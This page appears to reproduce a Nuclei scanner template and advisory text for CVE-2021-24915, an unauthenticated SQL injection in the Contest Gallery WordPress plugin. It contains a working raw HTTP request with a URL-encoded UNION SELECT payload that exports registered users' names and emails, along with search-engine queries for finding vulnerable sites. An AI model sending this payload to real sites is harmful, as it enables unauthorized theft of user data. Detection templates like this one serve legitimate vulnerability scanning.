CVE-2021-24915: Contest Gallery < 13.1.0.6 - SQL injection

2025-08-01 Contest Gallery PoC Public

Description

The plugin does not have capability checks and does not sanitise or escape the cg-search-user-name-original parameter before using it in a SQL statement when exporting users from a gallery, which could allow unauthenticated to perform SQL injections attacks, as well as get the list of all users registered on the blog, including their username and email address.

PoC

id: CVE-2021-24915

info:
  name: Contest Gallery < 13.1.0.6 - SQL injection
  author: r3Y3r53
  severity: critical
  description: |
    The plugin does not have capability checks and does not sanitise or escape the cg-search-user-name-original parameter before using it in a SQL statement when exporting users from a gallery, which could allow unauthenticated to perform SQL injections attacks, as well as get the list of all users registered on the blog, including their username and email address.
  impact: |
    Unauthenticated attackers can exploit SQL injection to extract database contents and enumerate all registered users including their email addresses, potentially facilitating targeted phishing attacks.
  remediation: Fixed in version 13.1.0.6
  reference:
    - https://wpscan.com/vulnerability/45ee86a7-1497-4c81-98b8-9a8e5b3d4fac
    - https://gist.github.com/tpmiller87/6c05596fe27dd6f69f1aaba4cbb9c917
    - https://wordpress.org/plugins/contest-gallery/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24915
    cwe-id: CWE-89
    epss-score: 0.127
    epss-percentile: 0.96078
    cpe: cpe:2.3:a:contest_gallery:contest_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: contest_gallery
    product: contest_gallery
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/contest-gallery/
    fofa-query: body=/wp-content/plugins/contest-gallery/
    publicwww-query: "/wp-content/plugins/contest-gallery/"
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,wp,contest-gallery,contest_gallery,sqli,vuln,vkev

http:
  - raw:
      - |
        POST /wp-admin/admin.php?page=contest-gallery/index.php&users_management=true&option_id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        cg-search-user-name=&cg-search-user-name-original=%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x717a6b7871%2CIFNULL%28CAST%28VERSION%28%29%20AS%20NCHAR%29%2C0x20%29%2C0x716b707871%29%2CNULL--%20-&cg_create_user_data_csv_new_export=true&cg-search-gallery-id-original=&cg-search-gallery-id=&cg_create_user_data_csv=true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'WpUserId'
          - 'Username'
          - 'Usermail'
        condition: and

      - type: word
        part: header
        words:
          - 'text/csv'
          - 'filename='
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022059db8a7cbf6526e7c9d061dfca0c7c569f0b6afc18c00aa94774ee880fb00e8c022031ac68bd1131454037a1b925de75d6645c8a3574b2bc096bc64e14aa2b193865:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24915.yaml

References

Related Vulnerabilities